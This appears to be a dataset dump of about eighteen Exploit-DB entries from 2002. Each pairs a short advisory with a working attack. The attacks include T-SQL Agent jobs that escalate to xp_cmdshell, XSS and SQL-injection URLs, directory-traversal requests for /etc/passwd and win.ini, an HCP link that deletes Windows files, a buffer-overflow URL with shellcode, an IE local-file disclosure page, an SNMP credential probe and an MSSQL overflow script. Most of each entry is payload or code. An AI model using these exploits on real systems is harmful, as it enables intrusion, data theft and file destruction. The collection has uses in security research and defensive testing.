QLWD/code_shield huggingface dataset:
标题: Microsoft SQL 2000/7.0 - Agent Jobs Privilege Escalation EDB-ID: 21718 CVE: 2002-0721 类型: REMOTE 平台: WINDOWS 发布日期: 2002-08-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/5483/info

Microsoft SQL Server 2000 uses an Agent which is responsible for restarting the SQL Server service, replication, and running scheduled jobs.

Some of the jobs that the Agent executes have weak permissions, which could allow a user with low permissions to perform actions on the database in the context of the SQL Server Service Account when used in conjunction with the Microsoft SQL Server Extended Stored Procedure Privilege Elevation Vulnerability

-- GetSystemOnSQL
-- For this to work the SQL Agent should be running.
-- Further, you'll need to change SERVER_NAME in
-- sp_add_jobserver to the SQL Server of your choice
--
-- David Litchfield
-- (david@ngssoftware.com)
-- 18th July 2002

USE msdb

EXEC sp_add_job @job_name = 'GetSystemOnSQL',
@enabled = 1,
@description = 'This will give a low privileged user access to
xp_cmdshell',
@delete_level = 1

EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL',
@step_name = 'Exec my sql',
@subsystem = 'TSQL',
@command = 'exec master..xp_execresultset N''select ''''exec
master..xp_cmdshell "dir > c:\agent-job-results.txt"'''''',N''Master'''

EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL',
@server_name = 'SERVER_NAME'

EXEC sp_start_job @job_name = 'GetSystemOnSQL'

The following proof of concept code supplied by David Litchfield <david@ngssoftware.com> will create a file called c:\sqlafc123.txt:

-- ArbitraryFileCreate
-- For this to work the SQL Agent should be running.
-- Further, you'll need to change SERVER_NAME in
-- sp_add_jobserver to the SQL Server of your choice
--
-- David Litchfield
-- (david@ngssoftware.com)
-- 19th August 2002

USE msdb

EXEC sp_add_job @job_name = 'ArbitraryFileCreate',
@enabled = 1,
@description = 'This will create a file called c:\sqlafc123.txt',
@delete_level = 1

EXEC sp_add_jobstep @job_name = 'ArbitraryFileCreate',
@step_name = 'SQLAFC',
@subsystem = 'TSQL',
@command = 'select ''hello, this file was created by the SQL Agent.''',
@output_file_name = 'c:\sqlafc123.txt'

EXEC sp_add_jobserver @job_name = 'ArbitraryFileCreate',
@server_name = 'SERVER_NAME'

EXEC sp_start_job @job_name = 'ArbitraryFileCreate' URL: https://www.exploit-db.com/exploits/21718
标题: Apache 2.0 - Full Path Disclosure EDB-ID: 21719 CVE: 2002-0654 类型: REMOTE 平台: WINDOWS 发布日期: 2002-08-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/5485/info

A path disclosure vulnerability has been reported in Apache 2.0.x.

It is possible to reproduce this condition on vulnerable systems by making a request for certain types of files (such as error documents) that have been mapped by the server by type but fail to be served due to failure of MIME negotiation.

http://target/error/HTTP_NOT_FOUND.html.var URL: https://www.exploit-db.com/exploits/21719
标题: Google Toolbar 1.1.60 - Search Function Denial of Service EDB-ID: 21712 CVE: 2002-1444 类型: DOS 平台: WINDOWS 发布日期: 2002-08-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/5477/info

Reportedly, when the Google Toolbar receives a search query it may cause Microsoft Internet Explorer to crash. When a user views a malicious web page it will cause the Google Toolbar to throw an exception in 'oleaut32.dll'.

<object
id=GOOGLE
classid="clsid:00EF2092-6AC5-47c0-BD25-CF2D5D657FEB"
width=1
height=1
>
</object>

<script language="JavaScript">
// it raises the exception in oleaut32.dll
GOOGLE.Search("Miaow, miaow :)")
</script> URL: https://www.exploit-db.com/exploits/21712
标题: MyWebServer 1.0.2 - Long HTTP Request HTML Injection EDB-ID: 21710 CVE: 2002-1453 类型: REMOTE 平台: WINDOWS 发布日期: 2002-08-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/5470/info

MyWebServer is an application and web server for Microsoft Windows operating systems.

If an oversized HTTP request is received by MyWebServer, some content provided as a URL is included in the page generated. An attacker may construct a malicious URL, and entice a user of the site into following it. Injected content will then be rendered in the context of the vulnerable site.

The consequences of exploitation will be highly dependent on the nature of the hosted site.

This vulnerability has been reported in MyWebServer version 1.0.2. Earlier versions may share this vulnerability, this has not however been confirmed.

http://vuln_host/[223b_of_any_data]<font%20size=50>DEFACED<!--//-- URL: https://www.exploit-db.com/exploits/21710
标题: Microsoft Internet Explorer 4/5/6 - XML Datasource Applet File Disclosure EDB-ID: 21721 CVE: 2002-0976 类型: LOCAL 平台: WINDOWS 发布日期: 2002-08-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/5490/info

A problem in Microsoft Internet Explorer could lead to the disclosure of sensitive information.

Due to the design of the datasource applet, it may be possible for a user to view the contents of local files via a remote page. By building a custom-crafted page that specifies the code base as the local system, it would be possible to display the contents of known local files.

<html>
<head>
<base href="file:///C:/">
</head>
<body>
<applet code="com.ms.xml.dso.XMLDSO.class" width="0" height="0" id="xmldso" MAYSCRIPT="true">
<?xml version="1.0"?>
<!DOCTYPE file [
<!ELEMENT file (#PCDATA) >
<!ENTITY contents SYSTEM "file:///C:/jelmer.txt">
]>
<file>
&contents;
</file>
</applet>
<script language="javascript">
setTimeout("showIt()",2000);
function showIt() {
var jelmer = xmldso.getDocument();
alert(jelmer.Text);
}
</script>
</body>
</html> URL: https://www.exploit-db.com/exploits/21721
标题: Microsoft Windows XP - HCP URI Handler Abuse EDB-ID: 21717 CVE: 2002-0974 类型: REMOTE 平台: WINDOWS 发布日期: 2002-08-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/5478/info

Microsoft Internet Explorer on Windows XP comes equipped with a protocol handler for the 'Help and Support Center' application. The protocol handler may be specified in links, and when such a link is submitted by the browser, the Help and Control Center will load an appropriate page. However, it has been demonstrated that this behavior may be abused.

The browser runs requests to the HCP URI handler with relaxed Security Zone restrictions. One of the Help and Support Center application files (uplddrvinfo.htm) contains an ActiveX control which may be used to delete local files. Since the ActiveX control accepts filenames from the HCP URIs, it is possible for an attacker to abuse this situation via a malicious link. Because the browser runs the HCP request with relaxed restrictions, the user is not prompted when the ActiveX control is executed. However, it has been reported that a window with a "Get Help With Your Hardware Device" dialog is displayed when uplddrvinfo.htm is invoked, and that the utility will follow through with the commands if the user closes this window.

A number of other files are included in the Help and Support Center application which may also be used by a remote attacker to perform various actions on the client system via a maliciously constructed HCP URI.

By using the 'hcp:' protocol, it's possible to launch this from a link. The
filename can also include wild cards. Thus, the following link will delete
all files in the 'C:\windows\' directory when the launched window is closed.
(normal file permissions still apply as usual). Sub-directories are not
deleted.

hcp://system/DFS/uplddrvinfo.htm?file://c:\windows\* URL: https://www.exploit-db.com/exploits/21717
标题: Microsoft Outlook Express 5/6 - MHTML URL Handler File Rendering EDB-ID: 21711 CVE: 2002-0980 类型: REMOTE 平台: WINDOWS 发布日期: 2002-08-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/5473/info

Microsoft Outlook Express introduced a URL handler called MHTML (MIME Encapsulation of Aggregate HTML). This allows Internet Explorer to pass MHTML files to Outlook Express for rendering.

The MHTML URL handler does not validate the file type it is rendering. This could allow a file type that is normally considered to be a "safe file type", such as a .txt file, to be opened and have any script contained within rendered. This script would then be rendered in the Local Computer Zone.

<html>
<head>
<title>malware.com</title>
<meta NAME="Author" CONTENT="malware.com">
<meta name="robots" content="noindex, nofollow">
</head>
<body onload=malware() style="behavior: url(#default#httpFolder);">
<script>
function malware(){
document.body.navigate("http://www.microsoft.com");alert("malware");
open("file://C%3A%5CWINDOWS%5CTemp%5Cwecerr.txt")
}
</script><br><br><br><br>
<center><image src="smile.gif"></center> URL: https://www.exploit-db.com/exploits/21711
标题: Leszek Krupinski L-Forum 2.4 - Search Script SQL Injection EDB-ID: 21708 CVE: 2002-1457 类型: WEBAPPS 平台: PHP 发布日期: 2002-08-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/5468/info

Reportedly, L-Forum is vulnerable to SQL injection attacks. The vulnerability lies in the file 'search.php' 

L-Forum does not properly sanitize user input that is used as part of the search parameter in the 'search.php' file. SQL code may be inserted into the requests and executed by the database server.

Postgres:
http://localhost/search.php?search=a%27%20order%20by%20time%20desc%3b%20[query]

MySQL:
http://localhost/search.php?search=a%25%27%20order%20by%20time%20desc%3b%20[query] URL: https://www.exploit-db.com/exploits/21708
标题: BlueFace Falcon Web Server 2.0 - Error Message Cross-Site Scripting EDB-ID: 21698 CVE: 2002-2318 类型: REMOTE 平台: WINDOWS 发布日期: 2002-08-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/5435/info

Falcon Webserver does not sufficiently sanitize HTML tags from error message output. In particular, attackers may inject HTML into 301 and 404 error pages. 

It is possible to create a malicious link to the server which will generate an error page with attacker-supplied HTML and script code when visited. Arbitrary HTML and script code will be executed by the web client of the user visiting the server, in the security context of the server.


* 301 Message XSS

Closing TITLE tag:
http://localhost/%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
Closing A HREF:
http://localhost/%22%3cscript%3ealert(%22xss%22)%3c/script%3e
Closing A tag:
http://localhost/%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e

* 404 Message XSS

http://localhost/%3cscript%3ealert(%22xss%22)%3c/script%3e/

The 301 examples will simply add a slash and pass it on to the browser,
which then raises a 404, exploiting that vulnerability as well (although the
301 exploits will cause some useless HTML to be added on) URL: https://www.exploit-db.com/exploits/21698
标题: GoAhead Web Server 2.1 - Arbitrary Command Execution EDB-ID: 21707 CVE: 2002-1951 类型: REMOTE 平台: WINDOWS 发布日期: 2002-08-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/5464/info

GoAhead WebServer is an Open Source embedded web server which supports Active Server Pages, embedded javascript, and SSL authentication and encryption. It is available for a variety of platforms including Microsoft Windows and Linux variant operating systems.

It has been discovered that a buffer overflow exists in GoAhead WebServer. This vulnerability could make it possible for a remote user to execute arbitrary code with the privileges of the web server process. This could lead to an attacker gaining remote access to a vulnerable host.

http://www.example.com/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/%eb%1f%5e%89%76%08%31%c0%88%46%07%89%46%0c%b0%0b%89%f3%8d%4e%08%8d%56%0c%cd%80%31%db%89%d8%40%cd%80%e8%dc%ff%ff%ffreboot URL: https://www.exploit-db.com/exploits/21707
标题: RedHat Interchange 4.8.x - Arbitrary File Read EDB-ID: 21706 CVE: 2002-0874 类型: REMOTE 平台: LINUX 发布日期: 2002-08-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/5453/info

A vulnerability has been reported for Interchange 4.8.5 and earlier. Reportedly, Interchange may disclose contents of files to attackers.

The vulnerability occurs due to the placement of the 'doc' folder. Reportedly, the folder will be installed as follows: <INTERCHANGE_ROOT>/doc. This folder, by default, contains Interchange man pages. This vulnerability is only exploitable when the Interchange service runs in INET (Internet service) mode.

An attacker may exploit this vulnerability to the contents of restricted files accessible to the Interchange process.

It has been reported that this issue may be exploited through a '../' directory traversal sequence in a HTTP request to the vulnerable server.

http://www.domain.com:7786/../../../../../../../../../etc/passwd URL: https://www.exploit-db.com/exploits/21706
标题: W3C CERN HTTPd 3.0 Proxy - Cross-Site Scripting EDB-ID: 21704 CVE: 2002-1445 类型: REMOTE 平台: UNIX 发布日期: 2002-08-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/5447/info

CERN httpd is a freely available HTTP server and HTTP proxy server available from the W3C.

The httpd Proxy is vulnerable to a cross site scripting attack.

The condition is present because of the way URLS are displayed in error messages. It is possible for arbitrary HTML or script code to be embedded in the error page through a maliciously constructed link. When the error is displayed, the script will be executed within the context of the proxy server's error page on the client browser. This may permit various web-based attacks including stealing cookies, etc.

Accessing the following URL with the browser configured to use CERN httpd as a proxy,

http://nonexistenthost.google.com/<SCRIPT>document.write(document.cookie)</SCRIPT>

will cause CERN httpd Proxy to produce output like this:
========================================================
<HTML>
<HEAD>
<TITLE>Error Message</TITLE>
</HEAD>
<BODY>
<H1>Fatal Error 500</H1>
Can't Access Document: http://nonexistenthost.google.com/<SCRIPT>document.write(document.cookie)</SCRIPT>.
<P>
<B>Reason:</B> Can't locate remote host: nonexistenthost.google.com.
<P>
...
======================================================== URL: https://www.exploit-db.com/exploits/21704
标题: Midicart ASP - Remote Customer Information Retrieval EDB-ID: 21702 CVE: 2002-1432 类型: WEBAPPS 平台: ASP 发布日期: 2002-08-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/5438/info

Midicart ASP is a commercially available e-commerce solution distributed by Coxco Support. It is available for the Microsoft Windows operating system.

The default installation of Midicart ASP does not place sufficient access control on the midicart.mdb file. Due to this lack of access control, it is possible for a remote user to gain access to this file. This file may yield sensitive customer information, such as customer names, addresses, and credit card information.

http://www.example.com/shoppingdirectory/midicart.mdb URL: https://www.exploit-db.com/exploits/21702
标题: Apache 2.0 - Encoded Backslash Directory Traversal EDB-ID: 21697 CVE: 2002-0661 类型: REMOTE 平台: WINDOWS 发布日期: 2002-08-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/5434/info

A directory traversal vulnerability exists in Apache versions 2.0.39 and earlier on non-Unix platforms (potentially including Apache compiled with CYGWIN). Platforms that may be affected by this include Windows, OS2, and Netware.

The issue is related to the failure to properly process the backslash '\' character, which may be used as a directory delimiter under these platforms. By using the URL encoded sequence '%2e%2e%5c', the web root may be escaped.

Exploitation may result in the disclosure of sensitive information. Additionally, arbitrary local programs may be executed with attacker supplied parameters if directory traversal techniques are used to escape the cgi-bin directory.

http://127.0.0.1/error/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwinnt%5cwin.ini
http://127.0.0.1/cgi-bin/%5c%2e%2e%5cbin%5cwintty.exe?%2dt+HELLO URL: https://www.exploit-db.com/exploits/21697
标题: Orinoco OEM Residential Gateway - SNMP Community String Remote Configuration EDB-ID: 21699 CVE: 2002-0812 类型: REMOTE 平台: HARDWARE 发布日期: 2002-08-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/5436/info

Orinoco is the manufacturer of various wireless network components, including access points and network cards.

It is possible to remotely gain access to the identification string used for configuration of OEM access points manufactured by Orinoco through SNMP. By sending a custom-crafted SNMP query to a vulnerable access point, the access point will return system credentials, including the identification string. This identification string can be used as the administrative community string.

The following probe packet has been made available by Foundstone:

"\x01\x00\x00\x00\x70\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" URL: https://www.exploit-db.com/exploits/21699
标题: Microsoft Internet Explorer 5/6 / Konqueror 2.2.2/3.0 / Weblogic Server 5/6/7 - Invalid X.509 Certificate Chain EDB-ID: 21692 CVE: 2002-1183 2002-0862 2002-0828 类型: REMOTE 平台: WINDOWS 发布日期: 2002-08-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/5410/info

A flaw has been reported in the handling of X.509 certificates by a number of products, including several web browsers. It may be possible for a malicious party to create certificates for arbitrary domains, which will be treated as trusted by the vulnerable browser.

The flaw lies in the handling of intermediate certificate authorities. Normally, intermediate certificates should possess a Basic Constraints field which states the certificate may be used as a signing authority.

Vulnerable products do not require the Basic Constraints field be properly defined. A malicious party with one valid certificate may sign a new certificate for an arbitrary domain. This may allow the attacker to spoof a sensitive domain, or to attempt a man-in-the-middle attack against encrypted communications.

This vulnerability was originally reported in Microsoft's Internet Explorer web browser. It has been reported that, in the case of Microsoft Internet Explorer, the flaw lies in some cryptographic functions implemented in the operating system. It should be noted that this flaw has not been reported in the Cryptographic API included with Microsoft Windows.

Reports state that IIS 5.0 under Windows 2000 is also vulnerable. In this case, client certificate chains are not properly verified. Attackers may exploit this vulnerability to bypass some authentication schemes.

This vulnerability also exists in some versions of KDE and the included Konqueror web browser. Versions 3.0.2 and earlier are vulnerable.

** A report suggests that the patch issued by Microsoft may not fully protect against this vulnerability. It may be possible that a malicious site using an invalid certificate may mislead users into believing that a certificate is expired rather than being invalid.

** UPDATE 11/11/03 - Microsoft has updated their bulletin for this issue. Users who installed Internet Explorer 6 after installing Windows 2000 Service Pack 4 may have reintroduced this issue onto their systems. A new patch is available for users who installed Internet Explorer 6 on Windows 2000 SP4 systems.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21692.tar.gz URL: https://www.exploit-db.com/exploits/21692
标题: Microsoft SQL Server 2000 - User Authentication Remote Buffer Overflow EDB-ID: 21693 CVE: 2002-1123 类型: REMOTE 平台: WINDOWS 发布日期: 2002-08-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/5411/info

A vulnerability has been discovered in Microsoft SQL Server that could make it possible for remote attackers to gain access to target hosts.

It is possible for an attacker to cause a buffer overflow condition on the vulnerable SQL server with a malformed login request. This may allow a remote attacker to execute arbitrary code as the SQL Server process.

This vulnerability reportedly occurs even before authentication can proceed.

##
#
# this script tests for the "You had me at hello" overflow
# in MSSQL (tcp/1433)
# Copyright Dave Aitel (2002)
# Bug found by: Dave Aitel (2002)
#
##
#TODO:
#techically we should also go to the UDP 1434 resolver service
#and get any additional ports!!!


if(description)
{
 script_id(11067);
# script_cve_id("CVE-2000-0402");
 script_version ("$Revision: 0.1 $");
 name["english"] = "Microsoft SQL Server Hello Overflow";
 script_name(english:name["english"]);
 
 desc["english"] = "
The remote MS SQL server is vulnerable to the Hello overflow.

An attacker may use this flaw to execute commands against
the remote host as LOCAL/SYSTEM, 
as well as read your database content. 

Solution : disable this service (Microsoft SQL Server).

Risk factor : High";

 script_description(english:desc["english"]);
 
 summary["english"] = "Microsoft SQL Server Hello Overflow";
 script_summary(english:summary["english"]);
 
 script_category(ACT_ATTACK);
 
 script_copyright(english:"This script is Copyright (C) 2002 Dave Aitel");
 family["english"] = "Windows";
 script_family(english:family["english"]);
 script_require_ports(1433); 
 exit(0);
}

#
# The script code starts here
#
#taken from mssql.spk
pkt_hdr = raw_string(
0x12 ,0x01 ,0x00 ,0x34 ,0x00 ,0x00 ,0x00 ,0x00  ,0x00 ,0x00 ,0x15 ,0x00 ,0x06 ,0x01 ,0x00 ,0x1b
,0x00 ,0x01 ,0x02 ,0x00 ,0x1c ,0x00 ,0x0c ,0x03  ,0x00 ,0x28 ,0x00 ,0x04 ,0xff ,0x08 ,0x00 ,0x02
,0x10 ,0x00 ,0x00 ,0x00
);

#taken from mssql.spk
pkt_tail = raw_string (
0x00 ,0x24 ,0x01 ,0x00 ,0x00
);

#techically we should also go to the UDP 1434 resolver service
#and get any additional ports!!!
port = 1433;
found = 0;
report = "The SQL Server is vulnerable to the Hello overflow.

An attacker may use this flaw to execute commands against
the remote host as LOCAL/SYSTEM,
as well as read your database content.

Solution : disable this service (Microsoft SQL Server).

Risk factor : High";


if(get_port_state(port))
{
    soc = open_sock_tcp(port);

    if(soc)
    {
     #uncomment this to see what normally happens
        #attack_string="MSSQLServer";
 #uncomment next line to actually test for overflow
 attack_string=crap(560);
        # this creates a variable called sql_packet
 sql_packet = pkt_hdr+attack_string+pkt_tail;
 send(socket:soc, data:sql_packet);

     r  = recv(socket:soc, length:4096);
     close(soc);
 display ("Result:",r,"\n");
    if(!r)
     {
      display("Security Hole in MSSQL\n");
            security_hole(port:port, data:report);
     }
    }
} URL: https://www.exploit-db.com/exploits/21693
标题: Mozilla 1.0/1.1 - FTP View Cross-Site Scripting EDB-ID: 21682 CVE: 2002-2359 类型: REMOTE 平台: UNIX 发布日期: 2002-08-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/5403/info

A cross-site scripting vulnerability in Mozilla has been reported. When viewing the contents of a FTP site as web content from a ftp:// URL, the directory name is included in the HTML representation. It is not adequately sanitized before this occurs. An attacker may embed javascript as this value between opening and closing "<title>" tags in a FTP URL.

<a href="ftp://[FTPserver]/#%3C%2ftitle%3E%3Cscript%3Ealert(%22exploit%22);%3C%2fscript%3E">Exploit</a>

Example:
<a href="ftp://ftp.mozilla.org/#%3C%2ftitle%3E%3Cscript%3Ealert(%22exploit%22);%3C%2fscript%3E">Exploit</a> URL: https://www.exploit-db.com/exploits/21682